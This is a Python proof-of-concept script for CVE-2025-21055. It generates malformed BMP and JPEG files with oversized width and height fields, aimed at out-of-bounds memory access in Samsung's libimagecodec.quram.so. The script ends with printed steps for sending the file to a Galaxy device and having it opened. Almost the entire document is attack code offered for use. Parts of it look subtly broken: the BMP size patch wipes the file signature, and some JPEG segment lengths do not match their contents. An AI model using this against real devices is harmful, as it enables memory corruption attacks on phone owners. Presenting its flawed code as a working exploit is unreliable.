# CVE-2025-21055 PoC - Samsung libimagecodec.quram.so Out-of-bounds Read/Write
# This PoC generates a malformed image file that triggers OOB read/write
# in Samsung's image codec library (libimagecodec.quram.so)
import struct
import sys
def generate_malicious_image(output_path):
"""
Generate a crafted image that triggers out-of-bounds memory access
in Samsung's libimagecodec.quram.so codec library.
The exploit works by creating an image with manipulated dimension
or metadata fields that cause the decoder to read/write beyond
allocated buffer boundaries.
"""
# BMP file header with manipulated dimensions to trigger OOB access
bmp_header = bytearray()
# BMP Signature
bmp_header += b'BM'
# File size (will be updated)
bmp_header += struct.pack('<I', 0)
# Reserved fields
bmp_header += struct.pack('<HH', 0, 0)
# Pixel data offset
bmp_header += struct.pack('<I', 54)
# DIB header (BITMAPINFOHEADER)
bmp_header += struct.pack('<I', 40) # Header size
bmp_header += struct.pack('<i', 0x7FFFFFFF) # Width - INT_MAX to trigger OOB read
bmp_header += struct.pack('<i', 1) # Height
bmp_header += struct.pack('<HH', 1, 32) # Planes, Bits per pixel
bmp_header += struct.pack('<I', 0) # Compression (BI_RGB)
bmp_header += struct.pack('<I', 0) # Image size
bmp_header += struct.pack('<i', 0) # X pixels per meter
bmp_header += struct.pack('<i', 0) # Y pixels per meter
bmp_header += struct.pack('<I', 0) # Colors used
bmp_header += struct.pack('<I', 0) # Important colors
# Minimal pixel data to pass initial parsing
pixel_data = b'\x00' * 1024
# Combine headers and data
malicious_image = bytes(bmp_header) + pixel_data
# Update file size
file_size = len(malicious_image)
malicious_image = struct.pack('<I', file_size) + malicious_image[4:]
with open(output_path, 'wb') as f:
f.write(malicious_image)
print(f"[+] Malicious image generated: {output_path}")
print(f"[+] File size: {file_size} bytes")
print(f"[+] Crafted width: 0x7FFFFFFF (triggers OOB access in decoder)")
def generate_poc_jpeg(output_path):
"""
Alternative PoC: Generate a malformed JPEG with corrupted
dimension markers to trigger OOB in the codec.
"""
# Minimal valid JPEG structure with corrupted SOF marker
jpeg_data = bytearray()
# SOI (Start of Image)
jpeg_data += b'\xFF\xD8'
# APP0 marker (JFIF) - minimal
jpeg_data += b'\xFF\xE0'
jpeg_data += struct.pack('>H', 16) # Length
jpeg_data += b'JFIF\x00' # Identifier
jpeg_data += b'\x01\x01' # Version
jpeg_data += b'\x00' # Units
jpeg_data += struct.pack('>HH', 1, 1) # Density
jpeg_data += b'\x00\x00' # Thumbnail
# DQT (Define Quantization Table) - minimal
jpeg_data += b'\xFF\xDB'
jpeg_data += struct.pack('>H', 67) # Length
jpeg_data += b'\x00' # Table ID
jpeg_data += bytes(64) # Quantization values
# SOF0 (Start of Frame) with corrupted dimensions
jpeg_data += b'\xFF\xC0'
jpeg_data += struct.pack('>H', 11) # Length
jpeg_data += b'\x08' # Precision (8 bits)
jpeg_data += struct.pack('>H', 0xFFFF) # Height - corrupted to trigger OOB
jpeg_data += struct.pack('>H', 0xFFFF) # Width - corrupted to trigger OOB
jpeg_data += b'\x03' # Number of components
jpeg_data += b'\x01\x22\x00' # Component 1
jpeg_data += b'\x02\x11\x01' # Component 2
jpeg_data += b'\x03\x11\x01' # Component 3
# DHT (Define Huffman Table) - minimal
jpeg_data += b'\xFF\xC4'
jpeg_data += struct.pack('>H', 31) # Length
jpeg_data += b'\x00' # DC table 0
jpeg_data += bytes(16) # Counts
jpeg_data += bytes(12) # Values
# SOS (Start of Scan)
jpeg_data += b'\xFF\xDA'
jpeg_data += struct.pack('>H', 12) # Length
jpeg_data += b'\x03' # Number of components
jpeg_data += b'\x01\x00' # Component 1
jpeg_data += b'\x02\x11' # Component 2
jpeg_data += b'\x03\x11' # Component 3
jpeg_data += b'\x00\x3F\x00' # Spectral selection
# Scan data (minimal)
jpeg_data += b'\x00' * 100
# EOI (End of Image)
jpeg_data += b'\xFF\xD9'
with open(output_path, 'wb') as f:
f.write(bytes(jpeg_data))
print(f"[+] Malicious JPEG generated: {output_path}")
if __name__ == '__main__':
output = sys.argv[1] if len(sys.argv) > 1 else 'poc_cve_2025_21055.bin'
# Generate both PoC variants
generate_malicious_image(output)
generate_poc_jpeg(output.replace('.bin', '.jpg'))
print("\n[*] Usage: Send the generated file to a Samsung Galaxy device")
print("[*] Trigger: Open the image in any app that uses the system codec")
print("[*] Effect: Out-of-bounds memory read/write in libimagecodec.quram.so")